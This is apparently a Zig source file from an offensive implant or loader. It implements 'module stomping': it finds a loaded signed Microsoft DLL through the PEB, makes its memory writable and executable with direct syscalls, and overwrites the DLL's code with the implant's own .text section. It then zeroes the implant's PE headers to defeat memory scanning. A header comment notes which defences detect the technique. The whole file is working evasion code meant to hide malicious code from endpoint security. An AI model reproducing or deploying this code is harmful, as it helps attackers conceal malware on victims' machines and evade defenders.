const std = @import("std");
const windows = std.os.windows;
const nt = @import("nt.zig");
const resolve = @import("resolve.zig");
const syscall = @import("syscall.zig");
const pe = @import("pe.zig");

pub var g_evasion_relocated: bool = false;

// Overwrite a signed Microsoft DLL's .text with our .text, then zero our PE headers.
// Backing-file integrity checks catch this. PE header zeroing is a known signature.
// RWX on signed Microsoft DLL triggers behavioral alert. Minimalist, not bulletproof.
pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
    const targets = [_][]const u8{ "crypt32.dll", "dwrite.dll", "msvcp_win.dll" };

    if (our_base == null) return null;

    const peb = resolve.get_peb();
    const ldr = peb.Ldr;
    const head: *resolve.LIST_ENTRY = @ptrCast(&ldr.InMemoryOrderModuleList);

    var target_base: ?*anyopaque = null;
    var target_size: usize = 0;

    var entry = head.Flink;
    while (entry != head) : (entry = entry.Flink) {
        const le: *resolve.LDR_DATA_TABLE_ENTRY = @fieldParentPtr("InMemoryOrderLinks", entry);

        if (@intFromPtr(le.DllBase) == 0 or le.BaseDllName.Length == 0) continue;

        if (target_base == null) {
            const buf = le.BaseDllName.Buffer orelse continue;
            const len = le.BaseDllName.Length / 2;
            for (targets) |target| {
                if (target.len == len) {
                    var matches = true;
                    for (0..len) |i| {
                        var c1 = buf[i];
                        var c2 = target[i];
                        if (c1 >= 'A' and c1 <= 'Z') c1 += 32;
                        if (c2 >= 'A' and c2 <= 'Z') c2 += 32;
                        if (c1 != c2) {
                            matches = false;
                            break;
                        }
                    }
                    if (matches) {
                        target_base = le.DllBase;
                        target_size = le.SizeOfImage;
                        break;
                    }
                }
            }
        }

        if (target_base != null) break;
    }

    if (target_base == null) return null;

    const own_bytes: [*]u8 = @ptrCast(our_base.?);
    const dos: *align(1) const pe.IMAGE_DOS_HEADER = @ptrCast(@alignCast(own_bytes));
    if (dos.e_magic != 0x5A4D) return null;

    const nt_headers: *align(1) const pe.IMAGE_NT_HEADERS64 = @ptrCast(@alignCast(
        own_bytes + @as(usize, @intCast(dos.e_lfanew)),
    ));
    if (nt_headers.Signature != 0x00004550) return null;

    const section_off = @as(usize, @intCast(dos.e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64);
    const sections: [*]align(1) const pe.IMAGE_SECTION_HEADER = @ptrCast(@alignCast(own_bytes + section_off));

    var text_start: ?*anyopaque = null;
    var text_size: usize = 0;
    for (0..nt_headers.FileHeader.NumberOfSections) |i| {
        if (std.mem.eql(u8, sections[i].Name[0..5], ".text") and sections[i].Name[5] == 0) {
            text_start = @as(*anyopaque, @ptrCast(own_bytes + sections[i].VirtualAddress));
            text_size = sections[i].VirtualSize;
            break;
        }
    }

    if (text_start == null or text_size == 0) return null;

    var target_mut: ?*anyopaque = target_base;
    var region_size: windows.SIZE_T = target_size;
    var old_prot: windows.ULONG = 0;
    const st = syscall.nt_protect_virtual_memory(
        syscall.nt_current_process(),
        &target_mut,
        &region_size,
        nt.PAGE_EXECUTE_READWRITE,
        &old_prot,
    );
    if (!nt.NT_SUCCESS(st)) return null;

    const dest: [*]u8 = @ptrCast(target_mut orelse target_base.?);
    const src: [*]const u8 = @ptrCast(text_start.?);
    @memcpy(dest[0..text_size], src[0..text_size]);

    var restore_mut: ?*anyopaque = target_mut orelse target_base.?;
    var restore_size: windows.SIZE_T = target_size;
    var new_old: windows.ULONG = 0;
    _ = syscall.nt_protect_virtual_memory(
        syscall.nt_current_process(),
        &restore_mut,
        &restore_size,
        nt.PAGE_EXECUTE_READ,
        &new_old,
    );

    const old_bytes: [*]u8 = @ptrCast(our_base.?);
    const e_lfanew = dos.e_lfanew;
    @memset(old_bytes[0..64], 0);
    @memset(old_bytes[@as(usize, @intCast(e_lfanew)) .. @as(usize, @intCast(e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64)], 0);

    g_evasion_relocated = true;
    return our_base;
}